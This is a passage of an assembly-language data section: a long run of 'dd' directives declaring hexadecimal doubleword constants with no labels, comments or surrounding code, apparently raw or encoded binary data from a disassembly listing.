dd 3C00F50Ah, 6C8F59ECh, 0FB150Fh, 9F2F662Ah, 0D72D9445h
dd 993C9C01h, 1E90CC8Dh, 0F0B477E8h, 7AC7008Ch, 0D47EB6BCh
dd 301D6AEBh, 42C74302h, 13216728h, 0B5D9779Ch, 0F4940ADCh
dd 8AAF00C2h, 0AA415A07h, 0ED1E72BFh, 8500B437h, 0CE662780h
dd 548D0347h, 0D57A65F9h, 9D3582Eh, 0B71D562Ch, 0AD672D00h
dd 431A14h, 1F55D4F2h, 0B68DA646h, 6096650Eh, 64E320DCh
dd 0EE18345h, 352F19D5h, 5AB29C20h, 7B00B978h, 0F24D83Ch
dd 3FF290h, 0A9718EFDh, 52E19B4Ch, 4D064400h, 0BB2D19B3h
dd 1A0F00ACh, 0AE1DD941h, 0D1009136h, 0E2B74865h, 45EC19h
dd 878504CEh, 0AE5A76CBh, 0B21F511Ah, 92BC4040h, 885C0981h
dd 9E8047ADh, 0A81C8CB1h, 9353E000h, 0BF5D8BB3h, 479607D2h
dd 0F023144Dh, 37F5184Ah, 69A3CD00h, 2863DCF0h, 0D39A0135h
dd 0F33EC43Dh, 499641AFh, 0A4C88022h, 0E7277CFFh, 4240584h
dd 0FCF2C1CEh, 8E34007Dh, 0F5733840h, 41BC0071h, 8CC49644h
dd 4800C27Bh, 9A67262Eh, 0A4F1FCh, 7CDAB670h, 0EF86DBE6h
dd 1DD7400h, 0F894A71Eh, 72A30AADh, 609CD829h, 5E659935h
dd 19003EF4h, 0E8A2C0D4h, 544B52E6h, 7B428h, 0BDE702Ah
dd 62321422h, 2AE1300h, 6A8D27B8h, 2A12039Eh, 0DCD3B26Dh
dd 0D4F1E5A8h, 67F61C07h, 0FB10A41Eh, 0D150CBh, 0BC1FB739h
dd 29FEBAC7h, 6A467D00h, 70E68962h, 0A0865C11h, 0FA1DD400h
dd 46E99167h, 773EA403h, 889EBC88h, 4165DEh, 0D8F8A4Dh
dd 0C3FBE074h, 0EB47AC00h, 0D20F2170h, 3D870FC8h, 0C680EA5Ah
dd 0FD35E54Ch, 0FB2A9000h, 0A6EF895Dh, 16F7ABFh, 135881F6h
dd 0D0495E5Ch, 60013383h, 2B10C855h, 0E4207243h, 0F890069h
dd 86010A2Ah, 63012EDAh, 75DC7D4h, 18802BB1h, 0A6F6C858h
dd 10905BD5h, 4F323100h, 12F18F88h, 742118F0h, 0CA8EA009h
dd 123FEB88h, 3B390E1h, 8D1E538h, 0E06079C2h, 8500B861h
dd 9D50CF42h, 381DADDh, 541B2DF0h, 0D5F00C34h, 0CB03A9E6h
dd 63AEBDC0h, 0DF613DCEh, 2A1DEA44h, 0B7025752h, 802BEFE1h
dd 0A731DCE0h, 9DCD0007h, 216A8593h, 5A2C8EFAh, 8F0041D1h
dd 0F3BDF67Ah, 411D00F1h, 0AE1C9DB1h, 21000F9Fh, 0E277DEE8h
dd 75B220D2h, 2BBB02DBh, 0DD84134Bh, 94005C43h, 8B06660h
dd 8F2F80h, 0D223D1DFh, 0BE787DE1h, 0B8625700h, 0FADCB422h
dd 33CB0070h, 0D9859BD4h, 462415DBh, 64000BABh, 9DB82E10h
dd 9B713092h, 0CBDEEE80h, 65D25300h, 0C3FAD91Dh, 78520009h
dd 79687DDh, 1E07B551h, 0A4DA8830h, 8C0080CAh, 49802270h
dd 8A250017h, 0E2916997h, 9D00B32Ch, 2482460h, 0E6210B4h
dd 0A514CBA7h, 0DE010380h, 15166E93h, 0B5000FDBh, 0DC9BEB97h
dd 24A1739Fh, 0F84643h, 56C9ECF0h, 970151F7h, 8EA04F5Ch
dd 0E080AEEDh, 0B6B82C3Ah, 0E7007584h, 41F35AB0h, 3BCB899Ah
dd 0F080D379h, 0B3E2504Ch, 0D00F1BBh, 8519810Bh, 0E56DF5h
dd 0FB5034Fh, 0F74B4D66h, 2BBE2200h, 168D8BD2h, 9DCC0064h
dd 0B363374Ch, 0D6002F8Eh, 24ADEC5Ch, 0BDF37Fh, 5F3CBE53h
dd 0D7CF49E2h, 942DD300h, 5EA37B8Ah, 1ED900BDh, 54C068BBh
dd 74009DD1h, 0FDE11A4Bh, 270E9AB4h, 65F4A3E4h, 2620023Bh
dd 40ACEBCEh, 4F782CAh, 0BA238D85h, 816834Fh, 0F8409898h
dd 890091FCh, 115FCC83h, 65DA26h, 0A0D864F1h, 0F83DD450h
dd 6010E50Eh, 0EDDE0FCh, 3F0DBCCDh, 77804E24h, 0F77A216Dh
dd 51074537h, 0B64B2275h, 493F3081h, 167F10F4h, 0F933C7h
dd 0D48BA605h, 4F00B922h, 0C99926B8h, 703D28h, 0A0A13105h
dd 7F586508h, 7940213Fh, 4E5E3500h, 3972026Dh, 0D161773h
dd 2D8C0047h, 8AB3DFADh, 4E1F4Ch, 6B5FFACh, 7205D16h, 0C0CF38CCh
dd 0D9E7C0D5h, 0FF0092EEh, 2C9307E6h, 731DE4h, 0E3BD0A80h
dd 0D2E8DB44h, 38700BDh, 253C60h, 0FD0A6D14h, 27DADE59h
dd 7F00FBFEh, 69D3A7B1h, 60902FE5h, 3E5740CBh, 9E010B33h
dd 0A8A13DD9h, 992118C1h, 1430E1F8h, 9C0D3462h, 5BFC7303h
dd 3399432Dh, 7B902013h, 845E1D01h, 7F77B348h, 3B3FC0DAh
dd 38988Dh, 37BA668Bh, 440DCFC9h, 0FAD67D01h, 9923DA1Dh
dd 71FB57CCh, 24C90066h, 5DC30885h, 0AA030465h, 797A1691h
dd 4D4B88F5h, 1AF405E8h, 8034BCB7h, 3E7E602Ch, 3B3A8C00h
dd 0AEEA23D9h, 1C450050h, 0AC5E31B1h, 0A89206A3h, 57AF1A00h
dd 4E2263E4h, 0BCF7007Fh, 0AC5D55DFh, 8A04842Bh, 346F97B6h
dd 0DC8940D0h, 39A30977h, 90A0D457h, 6DE75295h, 1FB5601Eh
dd 6E8743C0h, 84EFBh, 55F5A028h, 81F0A596h, 0BF6BEB00h
dd 0B7CA773Dh, 0E119037Dh, 9884189Ah, 0CC608FA0h, 0D3758500h
dd 49BC8E65h, 64044C7Dh, 58FD1B02h, 0D869031Eh, 0E3BEFC6Eh
dd 3944F51Dh, 20CF5FCBh, 86D8A398h, 8C4201E1h, 72BCE952h
dd 0F554E0DEh, 748514Ch, 0FB7D03D2h, 93D47910h, 0ACF4023Bh
dd 0B8F24783h, 0C00B3C61h, 9001DDADh, 0EB204436h, 0E3D07410h
dd 66E50059h, 0F4EF85D7h, 8F157054h, 0A8FF35h, 0C7B6E672h
dd 1D7E127Dh, 8041E3AAh, 9DC0D15h, 6C007834h, 0B4405F97h
dd 0D87492h, 49E9C50h, 0AEB32A01h, 957F8300h, 8118BD9Dh
dd 9B0700C6h, 0A97B7C60h, 0DB098BFCh, 0C7A1DCh, 90081E44h
dd 43E0030Fh, 0AA7A8C62h, 50D3ECE9h, 0B4CAFA80h, 9E31DA01h
dd 0B1134A3Eh, 77C5C860h, 64F90078h, 8CE89FCEh, 50107E3h
dd 7C6D8801h, 0E42040F3h, 0B27EECAEh, 1C64006Ch, 0E85B9DA2h
dd 0C35DD710h, 0D8FC00F4h, 0A6FA6547h, 0A0180037h, 0A4563F44h
dd 0EF245548h, 0D20BAF98h, 0B0CC0078h, 3303C7h, 0D958A40Ch
dd 92A70D96h, 1A608700h, 9866FC6Ah, 245FE6EEh, 0C0065Eh
dd 9DC88B51h, 0FD0315A0h, 9E3FEFF7h, 80E01F3Dh, 29E000C4h
dd 0D4B0476Ah, 5794681Eh, 0F8791701h, 0FB47D305h, 23425361h
dd 24FC1020h, 69E9E7h, 2465BC6Ch, 0BB5C8AA9h, 0F94C000Eh
dd 0CD8B1D58h, 49C4005Bh, 74BC9E6Dh, 7190CA23h, 0D20EEE00h
dd 0C89BFB64h, 628217BDh, 0ACF842FEh, 0E52799D0h, 0F4488079h
dd 0BBE05Ah, 374215C1h, 1CAADEF0h, 0AE90D001h, 66A9182Ah
dd 0C20420h, 5651B5E8h, 61D08DADh, 0E5008878h, 0F470F974h
dd 4EF375h, 90109DBEh, 7A8254DCh, 3A02A8B8h, 0F7AB2481h
dd 3D18E1C0h, 7BD822A8h, 1E800067h, 5B88A725h, 1200477Ch
dd 2AA0496Fh, 0AE1AECh, 0AB9C7A8Bh, 0E49D0ACDh, 60987DF8h
dd 66B71B00h, 0B9F65BA7h, 80ECB14Ah, 0E55283F9h, 0D61C3287h
dd 3F40488Eh, 0EA960DCDh, 2F59075Dh, 71E7F188h, 0C8031887h
dd 0C90EE3B3h, 0DECA09B2h, 0CC241A80h, 31544B0h, 0FC88D5FFh
dd 67F057F1h, 683933BFh, 43588FE6h, 0BBA884A4h, 3E0830A0h
dd 0CE00236Bh
dd 0F9678B06h, 48070AB5h, 76438EC2h, 358CC391h, 29C4F0E1h
dd 547828h, 0C802FA55h, 0CE2CB2ACh, 0E60DEE05h, 0A082F294h
dd 46B180C1h, 9AAE84Fh, 0AFDF0C99h, 33AB34A0h, 1C1FB8CDh
dd 0A4C01FC6h, 0BB241199h, 7CAF00FAh, 52B0D6Fh, 0C0497ED5h
dd 0DC80C0FCh, 29F185h, 0F26E8CCCh, 24AC19C2h, 0AFE32800h
dd 0A3268A65h, 382B5810h, 0EB967600h, 206F4C81h, 2CA160E5h
dd 695A0524h, 0F7068300h, 38E4D13Ah, 0D200CDD8h, 0D9A08C2Bh
dd 4460486Ah, 0D7C738F2h, 0CD693875h, 0AC8E7280h, 250A103h
dd 5304DA98h, 6EDA783Fh, 0C07BB890h, 0F91D008Ch, 4A0E8D77h
dd 3C13BBF5h, 0C4059CB2h, 68339CFh, 6840F026h, 0D2EE5Bh
dd 5D56AD8Dh, 7CC23F11h, 0B8A2D50Fh, 60466F98h, 0B57E36BCh
dd 766300FBh, 37FFDBEAh, 5624524Fh, 394C91h, 7E8764C0h
dd 0EC62D417h, 0D07985h, 0C1ADA9AEh, 0DDB02C48h, 0B50E8B75h
dd 605FB10Eh, 0EF0F8A17h, 60DA0371h, 2EE143FAh, 59C77398h
dd 0E6D42500h, 8458AFC9h, 0EC2600FCh, 9789FB6Dh, 0D101F415h
dd 0A9672755h, 0BDE06473h, 5EED0E58h, 542670C6h, 0E1F10C2h
dd 858DBD1h, 907D8420h, 2A70414h, 0C0E2F8E1h, 24A5B7BDh
dd 57DBA300h, 35235F77h, 6D29047Eh, 82E7E2BFh, 4480C6FFh
dd 7F9D285h, 18D3BD07h, 6C33324Ch, 9E2840E3h, 0B2DB2810h
dd 0F18B0238h, 0D1F6EBB7h, 0D060B6C1h, 1306F007h, 0FC6DF23Dh
dd 0B3EF0C28h, 0A95021AFh, 9392FE03h, 0F32589C8h, 0D5808705h
dd 6FB704h, 7EF8BCB1h, 0A55D5778h, 6CF1D200h, 0A8D103Ah
dd 5EFB00EBh, 7F1BDF50h, 99073394h, 0A31C5477h, 0CBB1D20h
dd 0B73A05ABh, 1F570562h, 6681BFAAh, 5A13939Dh, 0FCB99568h
dd 3004F804h, 0D31081FFh, 0ED03AAA1h, 32E372C1h, 0B12AE00Eh
dd 1BF10FDDh, 8980EACCh, 20532F02h, 0FCF8CFF8h, 7AD2A13Eh
dd 0C1A4F206h, 659C203h, 7A59E6A8h, 8B3F50ECh, 185B440Ah
dd 29D67013h, 0C628A7C2h, 77009CD8h, 454BE971h, 31180F2h
dd 0BC7F840Eh, 5998F954h, 0B9C560F1h, 6004BEE4h, 55008361h
dd 5B821DC3h, 1F9718C0h, 591E17Ch, 93F24BB5h, 1A7030BCh
dd 0B1071E18h, 3C6A2127h, 30CC6640h, 88F506F7h, 0E8357902h
dd 1732DD00h, 8B6DFB26h, 13B408B3h, 7682A373h, 0B0F24D9Bh
dd 74FA264Ch, 0B70F029Eh, 0B430FF65h, 73C1BD04h, 9448BC1Dh
dd 7179188Ch, 3224A937h, 38621930h, 0A4BB8D4Dh, 0D50485F4h
dd 59AC813Fh, 5D091FCDh, 502D0434h, 1F3E441h, 89B5EBFDh
dd 2021C9CCh, 0A4011D04h, 8A2F5B2Ch, 29883BABh, 0B7A8E081h
dd 3DC029C4h, 51B1324Eh, 2A298839h, 841C9015h, 394445D4h
dd 291144BCh, 33CF844h, 0D84B3ECAh, 0CC6E69h, 0F0500A77h
dd 572CCE0Ch, 0C2DF4EC0h, 780A3h, 0E6B79ABAh, 6F97648Fh
dd 112026C2h, 2D4840D5h, 0BAC33D47h, 0B500D9BDh, 921D7C37h
dd 2617F783h, 26010F28h, 1BB9C505h, 9ABFE8h, 12E0AF6Dh
dd 2F5234C1h, 84291400h, 93BD8C0Ch, 0E3FD0088h, 0E2987A6Bh
dd 11008FDAh, 4B26866h, 70E18AC9h, 7C320056h, 711582EEh
dd 9B00260Ah, 1A283FCh, 6388F9h, 5C47023Ch, 0E3366CDh
dd 8BB42300h, 755ED2DEh, 8771864h, 0B61740D1h, 0B8A74200h
dd 2BA20768h, 0C14439E1h, 407C6012h, 0E7A0B0ECh, 2A00F259h
dd 7450025Ah, 0B16001h, 29BBF903h, 2767D66Ch, 100DEB00h
dd 941133C1h, 35A11663h, 40F91C13h, 85667B05h, 1A01B512h
dd 0E745253Fh, 0E0F02A17h, 712892ADh, 6098FCC0h, 73142999h
dd 0D00E7950h, 8023155Dh, 0EFD24F56h, 0CFDA0043h, 0F6D6BDE6h
dd 1200C4DCh, 1951EC52h, 0F4DF57h, 7BF07C45h, 4A9BBCD2h
dd 0BA29663Eh, 0D0DA801Eh, 6207F711h, 0D2183F73h, 3649220Eh
dd 12DB2FA0h, 0B500809Eh, 590DC9C3h, 70FD8B0h, 40634129h
dd 0F30630E2h, 6A0071F0h, 0AE3A70E4h, 0F6DE3h, 2BC83949h
dd 0DFC4B04Ah, 988E7807h, 3EA095B3h, 1C557BE0h, 0C0B75128h
dd 5FDE5417h, 3BFAE1EEh, 0B0AC902h, 815E7A5Bh, 0F24AC1BCh
dd 3D2FC4C4h, 0DF802A4Eh, 58B4A1D4h, 0D800109Eh, 6B1163C8h
dd 29FC33h, 78B67A1Ah, 0FB8D20B0h, 9249276h, 0F60B58CCh
dd 0D51284B9h, 0B74B5480h, 6A98007Eh, 61B2D20Eh, 0FF006376h
dd 713F2ECCh, 7792FC23h, 0E70900AAh, 0D4C2A35Eh, 0ED075BB5h
dd 0D5599778h, 300090CAh, 0F495A473h, 0FB87037Fh, 8F8A506Fh
dd 4C1A301Dh, 0BD49C340h, 45C498h, 80EA57FDh, 68C21CE2h
dd 26926114h, 41112D1h, 0BE0014h, 0F290C10Ch, 2417C59Ah
dd 8034E27Dh, 3B61AAD5h, 3548F780h, 180700E7h, 0E089BF48h
dd 6CE900D9h, 772C951Eh, 9100CB7Eh, 0C90DA862h, 1FE57511h
dd 0C068A007h, 4A4D1C88h, 58C0FCAEh, 0AC1871F1h, 21E3015Eh
dd 8BCD4E8h, 0E6FAD0B2h, 4110ED6Fh, 0E5B84BF2h, 6031CB60h
dd 0E94D56DDh, 44241852h, 0B4097813h, 0EED4009Fh, 0DD3AD8h
dd 55193EDh, 22475343h, 1D3C3490h, 87CC5Ah, 0ED1A3638h
dd 0DEBFCFh, 749E6F18h, 6B7CDD42h, 0F44D0D24h, 6B10F00h
dd 0AD4B4Eh, 2B063A0h, 1C5B5F70h, 777F11C0h, 766569D2h
dd 9C9100EEh, 2A0A37C8h, 0E6001A4Dh, 92FA8947h, 906C5DD3h
dd 343300B4h, 3EAD8C83h, 0B0FCBCFh, 8054F3EDh, 69909F1Ah
dd 0F8D00B4Ch, 9F0042FFh, 0F45C65CFh, 7274FC0Fh, 0BBA2249Ah
dd 45FE8B80h, 39DE00D7h, 6DC3BC98h, 3E00280Dh, 0BB64121Eh
dd 0C5BEF2h, 996936E8h, 67CD1773h, 0A5249400h, 0D45A5533h
dd 0A01E7EACh, 138C219Ch, 6C153Bh, 2F3A42DCh, 5F005791h
dd 1D8A7108h, 0D09FD9h, 6B9C7EE0h, 0CCBC6117h, 19473200h
dd 1BB04C5Bh, 0B1D10F60h, 40E07B74h, 0C717D95Eh, 535D3507h
dd 21302E68h, 9227800Fh, 1AEF00E8h, 899C0A83h, 8D076EC3h
dd 1222CF84h, 0CCA3CD70h, 0BBE65Ch, 7D4BB826h, 7206F155h
dd 68EF3B0Ch, 0F0EC28B4h, 56A21DFEh, 5A7B03FDh, 10097FDAh
dd 80BB0706h, 1CACCCEAh, 7D5D00F8h, 2FB11A95h, 20B9B3Fh
dd 803C3ACEh, 39709160h, 7E6E009Dh, 0ACC19589h, 8CEC7308h
dd 0DB18281Ch, 44CEE01h, 0A8C70B93h, 16FCDA0h, 0C407EDC0h
dd 0C01BF882h, 9703E878h, 5F486B8Dh, 7DD2F842h, 1627024Eh
dd 3CC7FEA1h, 76515C0h, 0AA00BC90h, 2714964h, 80432Ah
dd 0D8B99932h, 7D8DF685h, 1D30FE4Dh, 1F8ECCF4h, 0A574A081h
dd 60D668h, 0E4EC147Eh, 7C0BED59h, 0D4EBBB00h, 0FF5DBC99h
dd 97F400A3h, 6F01171Fh, 0A60FDD69h, 0A0F5BAC5h, 1A776568h
dd 96CB00CDh, 0E0A84CFh, 98001530h, 7214E0EAh, 1652B28Ah
dd 0FCE417h, 0A7803437h, 34901F28h, 0BF2A38h, 7C227640h
dd 38A5AC33h, 7E09751Dh, 7880EC8Dh, 0F16785FDh, 2638DE00h
dd 3F2CCF42h, 88FF0076h, 0A3073959h, 6E83D28h, 712F2100h
dd 0F4C842D3h, 0B64F2C5h, 0B1A8C47Fh, 0F8637880h, 33E23992h
dd 0DB7E81F8h, 60032D03h, 88A58FEEh, 13902248h, 1FBD361Ah
dd 0BBCA80FCh, 6ABF7A3Dh, 700DEE6h, 64BA268Fh, 0B0CE6079h
dd 0B42D008Dh, 0CDCE00Dh, 48008CFDh, 4C6AD6D3h, 12E8A3Eh
dd 76D70D4h, 0D717DF1Dh, 40268DF9h, 9F3E2398h, 6801F700h
dd 0C30D0F05h, 0D0880060h, 0EDB9AA7Ch, 350FE886h, 0F83A151Fh
dd 9546C20h, 991B9175h, 2D74F080h, 6008092h, 5D88D5F4h
dd 0C55371Ch, 0A0CBA21Ah, 10FDD20h, 3F314D54h, 83D76F44h
dd 33F004A1h, 0F40A013Fh
dd 0DB791BCh, 234C854h, 0FBA23509h, 47E0900Eh, 11FE60AFh
dd 9DA1C4ECh, 704CFF02h, 586BDE52h, 1802F82Ch, 28D630E3h
dd 0AD06D26Ch, 66C93826h, 13A40020h, 0DA0AEC36h, 0E31FA825h
dd 701712B0h, 9F033F00h, 75425CBCh, 24B88Ch, 0A5970D66h
dd 8AA93A7Fh, 0C1080501h, 0CBE828CAh, 0E2D1F4h, 8C2EFF34h
dd 4075855Fh, 38D6A901h, 7C527F90h, 3224C8h, 6CB76B0Dh
dd 89406086h, 0DF58F000h, 14A48750h, 0CD4B0545h, 0AB5CEA9Eh
dd 73763180h, 246FE634h, 89204974h, 0B4801903h, 611F5A54h
dd 0C64230FBh, 2F0917E0h, 674706h, 5D6038D8h, 0E4C41735h
dd 5914006Ah, 3F8D0A5Ch, 0C6AF2207h, 40A14413h, 202078B7h
dd 826D0014h, 3CB8869Eh, 19009C18h, 13EB4D47h, 0EC2B4DEh
dd 85953B81h, 3F6EF180h, 5005E65h, 38190168h, 595D2Bh
dd 6F0655E4h, 56211AD3h, 7A00D89Ch, 52617734h, 0BCF30EB4h
dd 8820E9C2h, 6D824695h, 4AB74E00h, 0ED1E8145h, 92D201ACh
dd 0C7385AA6h, 0DD24FC90h, 80691300h, 7E4B8E39h, 109B4CE6h
dd 6781AF04h, 7CECC0DAh, 9E4910ACh, 0FA240010h, 0E9DB0515h
dd 0F468261Bh, 5F140018h, 29DA6E1Dh, 0AA7B7600h, 0EB7A8CA9h
dd 0B86A018Ah, 0A5633220h, 0A37630FCh, 423F4900h, 91B488D0h
dd 77570015h, 0F411D839h, 980167F9h, 46D57B2Ch, 0DA405209h
dd 34C23Ch, 0E5E99B88h, 2492F70h, 0DD24A9B8h, 0ED000E1Ah
dd 0C1C28EA9h, 3CCA0741h, 307B4952h, 6313A03Eh, 934C7200h
dd 1C97E034h, 0E17288h, 0A39E47B1h, 0DEF0430Fh, 5B39AE00h
dd 775EB670h, 60060090h, 453133BCh, 0E1EA53E9h, 94A9D907h
dd 79CDF6FFh, 80C173C8h, 0C6B04CE4h, 9585300h, 0FAD8E3EBh
dd 42880096h, 3EB0EEEAh, 9D1ECAD2h, 0DD63185h, 3641AA00h
dd 714C3C7Dh, 3066770Ah, 93103BC5h, 6700E872h, 108AA07Bh
dd 0E5707CAh, 3CF16348h, 71E58198h, 0ED94CA88h, 0D62AF88Bh
dd 0AE11C000h, 8C075026h, 0AF5F2B18h, 66A71720h, 0DF5E0025h
dd 0A1039ABFh, 0E1001BBEh, 0F8DB9570h, 91E23Fh, 0D0D4B3C4h
dd 6555B068h, 0EA7E7C00h, 0ACDF18A7h, 5DA90034h, 0E4DBE382h
dd 650046E8h, 3349E1F4h, 2AF906h, 667D3836h, 194CD2D0h
dd 97512F00h, 9587657Eh, 27B0BBh, 0FA407626h, 5FF7A51Bh
dd 0A8000FE2h, 91B3AA24h, 77D4B48Fh, 54CD00E3h, 0FEE438BFh
dd 0B803E651h, 0E7ED6202h, 1149B95Fh, 31C0D644h, 3E33EFA5h
dd 3FBAFE44h, 1402D280h, 42A431D4h, 9CF0B500h, 1D4DE093h
dd 8B40037Eh, 38B83753h, 0E690AFD8h, 2203FDB0h, 5B24D0E3h
dd 0F5C5E0B4h, 0EB4B0705h, 819A9C0Fh, 0C01F9247h, 23001815h
dd 8B4FDBB4h, 7F39A9EBh, 96E60349h, 372C1D27h, 0E7D7A5F8h
dd 4FFCB300h, 75F7BE54h, 8C7E18h, 89CCCA82h, 0D6C7C88Bh
dd 3C733Bh, 38A31BA7h, 43E11h, 9C533D0Dh, 9991254h, 4768E000h
dd 337AA14h, 0E2F9839h, 0E58169Ah, 55644860h, 230089BBh
dd 0A7F7CBA4h, 2C10273Ah, 6D3FDEh, 0B9A888B6h, 9E744BC9h
dd 78871B00h, 0AB38EC0Dh, 19BB000Eh, 7E72EDF6h, 0D500221Eh
dd 997466E7h, 38EA396Bh, 1480B05Fh, 1F850849h, 0DA00E1CBh
dd 68E4BC44h, 5D9C96h, 6D1AB2EDh, 7B151151h, 4C733600h
dd 0A340997Fh, 42106CBh, 69833332h, 6297A000h, 0ECDEC67Dh
dd 31AC4807h, 0C05D0D1Eh, 0EB4A192Eh, 430FF86Dh, 20B3782Ah
dd 0F0F5128Dh, 32371D25h, 0F2EA0121h, 308EFC4Fh, 6B001F18h
dd 276541BEh, 20FDFD5h, 3EA3727Fh, 0D040520Dh, 0F373F854h
dd 57783870h, 0D06F0527h, 0C55C0B93h, 1A008308h, 9376BCC0h
dd 0CCF7F603h, 0F4E963Ch, 15528160h, 1DEC5760h, 0A7079EABh
dd 0E2D563EDh, 56A146B1h, 6D662880h, 87A44B3h, 15707CC0h
dd 37E72Ah, 78BF52D2h, 96D96B74h, 916AD500h, 0CB5F3CACh
dd 315D01DCh, 80954F1Fh, 0CCEFFDAEh, 0BF006B9Fh, 0EE3CC17Dh
dd 48484DCAh, 723D6474h, 7BF01C00h, 9A304C49h, 391FAFEAh
dd 0E44DA775h, 29F4E43Ch, 0F4630F4Fh, 97C0B6DAh, 0BF2D4128h
dd 656FD60Bh, 2EFB8345h, 2F88E82Ch, 0BB020340h, 0CAD73CD2h
dd 0E78A6190h, 2579E807h, 15D1FC56h, 0D20DFE4h, 587603A0h
dd 0B266ACF8h, 55F213E8h, 0DA2B9400h, 0A53404D8h, 3B38C078h
dd 0B45A9F09h, 74737100h, 0C0FFC7F3h, 638E248Ah, 2390092h
dd 0ABD31B3Dh, 6ABEB12Eh, 357EE404h, 0CE51880h, 593E00D7h
dd 3203D250h, 8B5039BFh, 0FB00EFB8h, 8FC4C945h, 707AEA1h
dd 471F69CDh, 73D1C0E7h, 0C1C044D4h, 3CBFEBDBh, 4BBC30F0h
dd 66DAA920h, 0CC627701h, 6D65765Dh, 7875EBE8h, 50F00EEh
dd 1B8E95C9h, 4500E9D4h, 0B30656ABh, 0C0226Dh, 4CC28239h
dd 0F252117Bh, 6B3E4D07h, 8A908D63h, 0B83C0A9Fh, 41141FA3h
dd 28EA40C4h, 0F2A09F9h, 6A91C500h, 1D635078h, 0F55900F3h
dd 295988Dh, 1A00AB1Fh, 87C7F949h, 0A183D1DAh, 0C72076BDh
dd 9A21F85Eh, 28AC6068h, 48D4B83Ah, 0E4D24002h, 81BDD8F3h
dd 1032C98Dh, 5AF4B821h, 0BEDC07BAh, 13270420h, 71D8B3C2h
dd 0D70EC05Dh, 0EF2C82h, 9E7E124h, 0AED300ECh, 0FA80907Eh
dd 0E07D7C3h, 82FE6D68h, 7F542770h, 181848E0h, 5669D308h
dd 80D86B4Eh, 28DF086Fh, 0C3890F39h, 0D667BA3Eh, 0D2FD620Dh
dd 0BECC0760h, 0A299E31Eh, 0FB82CE00h, 504DD5DCh, 0FCCC42h
dd 44664E47h, 552734C4h, 8220F403h, 1A964D1h, 0F0269F14h
dd 0D499FB3Fh, 0FF00EB5Eh, 32699D6Ch, 3CF11E40h, 22005524h
dd 1846866Dh, 12009ACFh, 1D47BA48h, 332429h, 634DBCEh
dd 0F1148392h, 674F9D00h, 434B19B1h, 98AC00DEh, 2C876FF5h
dd 1A0FFC9Ah, 408F9C40h, 67597DBEh, 9EAE483Ch, 210B0F7Ah
dd 8CA0655Eh, 0C5B22E7Fh, 7511A600h, 33079214h, 0EA3D0EAAh
dd 2020EEDDh, 0E09D5B9Eh, 7A71D0A8h, 0D20D2700h, 0CFD53205h
dd 0C23507B8h, 2E8AACE5h, 0EED77Eh, 0C9BCCDB6h, 8F00C7AEh
dd 7E750A95h, 2E6F277Fh, 0F370C4h, 0DB6B912Ch, 2033C196h
dd 0E7ED605Eh, 0EEA42941h, 13ED730h, 4A9E7FEh, 34233AF4h
dd 4C30BFCCh, 88D9315Bh, 0DB691D45h, 7FD503A8h, 80E74185h
dd 0BA9D4478h, 244E8D1Fh, 4917CC40h, 85BFF8h, 777FD6B6h
dd 0E68E0211h, 25396F00h, 3A1FCEFAh, 0F3EF0588h, 0C1B22947h
dd 0D859BFA4h, 5100CC94h, 2F1F965Ch, 1237652h, 447FEFB7h
dd 70B3B472h, 0D2395EFAh, 0E05B80AAh, 17FE1EC1h, 0B97C001Bh
dd 0A9F2FF58h, 76000651h, 854AF898h, 0CFABB159h, 73C2BE28h
dd 748F4DF4h, 0F95B5300h, 0B63B314Bh, 0C402F404h, 0B46AA102h
dd 0F572008Fh, 0D9501E81h, 3B0F6980h, 8078DF22h, 6FFC8B0Eh
dd 6DD71FEFh, 0E2494070h, 45695A77h, 882C4A00h, 404F5D1Eh
dd 171C5C4Dh, 0D11A0C00h, 0C4D3B038h, 84FF0F00h, 0DE67685h
dd 0E89E053h, 6E9E4079h, 9C2CA100h, 84015ED3h, 4CBB57EDh
dd 0D2FC38C1h, 51B203D9h, 7DE6BDEBh, 0D22DF98h, 21003F5Bh
dd 9F55F03Eh, 8FAA3CC2h, 36AD4E00h, 4DCC0EAFh, 0AE55300h
dd 0CDB2C43Eh, 0E906002Fh, 50A0EE46h, 51001EFAh, 0D31CF242h
dd 1F62F38Ah, 0C0335860h, 0E6D7319Ch, 0D4F9943Bh, 2400A306h
dd 0BC480FBBh, 12B0AE22h, 7F3A9Dh, 946C721Ch, 83000573h
dd 0B326B171h, 0EE804469h, 979100C3h, 2B95F996h, 0C8A82F9Ch
dd 607CDC59h, 5E53AF00h, 0A32DC06Ch, 0B1D305A9h, 42C87Bh
dd 0EA1F43CCh
dd 0AC001472h, 0B6470667h, 918F35h, 51C017FAh, 4D4FE24h
dd 496A8800h, 5A3DD248h, 0CB34A0A3h, 80CF00A4h, 106CFB04h
dd 7F07DA5Dh, 7C1D6723h, 0BE7190A0h, 87F30099h, 6FDD838Eh
dd 0E801DA49h, 6EDFD43Fh, 8083AA58h, 0F272811Ch, 8B2E63C8h
dd 0F4D36800h, 0A2DD3E87h, 66EC1241h, 0A32446A0h, 0F63D812Dh
dd 407B80E2h, 0EE50A656h, 0AB990038h, 0BCA7B72Ch, 5D497730h
dd 500100C0h, 96586F80h, 71090ED6h, 33DA481h, 0F3EC3F91h
dd 44F961FEh, 6A2490C8h, 8F1C0563h, 0D940CF03h, 4218B271h
dd 0F780E79h, 98813E73h, 80CBBB62h, 84A992C2h, 74C18A40h
dd 21336F8Bh, 4B82B643h, 0F3D58FC0h, 0C4069607h, 4ED11158h
dd 43F18562h, 781BD0h, 0C7406BB8h, 84AF26B3h, 0AC7F1D1Dh
dd 5B3008h, 0A7405122h, 306B768h, 17DA677Bh, 0EE920C69h
dd 7F5829B4h, 8360BF00h, 222B4226h, 0B8626244h, 0B918746Dh
dd 92643A82h, 0AE888B21h, 0E4CA0077h, 2952B181h, 0C7D36018h
dd 0C088F239h, 0C0B21B08h, 4B004F67h, 59D5CB41h, 854914h
dd 5E6498DEh, 74BF7DD1h, 1B887F66h, 60B20041h, 841E20E5h
dd 0AB377217h, 0F8C3208Bh, 3FC17CE8h, 8840FF92h, 2430F614h
dd 13DC8198h, 10805554h, 0B3F522EBh, 0BE0E040Ah, 477C746Ch
dd 8660660Ch, 465488h, 31567229h, 0E8B42AC5h, 0A5497500h
dd 2306A911h, 7B7B6Ah, 0B3B2AAF1h, 8A1EF2D6h, 2980C500h
dd 67DA7FE9h, 71570068h, 5A93B635h, 160002ACh, 36E5428Dh
dd 0E47A9Fh, 0E0CB399Dh, 58748F55h, 153F4B00h, 1BF30DF6h
dd 0A60A0EE1h, 0E0205CFAh, 0DCF7CADDh, 841E5FE8h, 8B1E3D12h
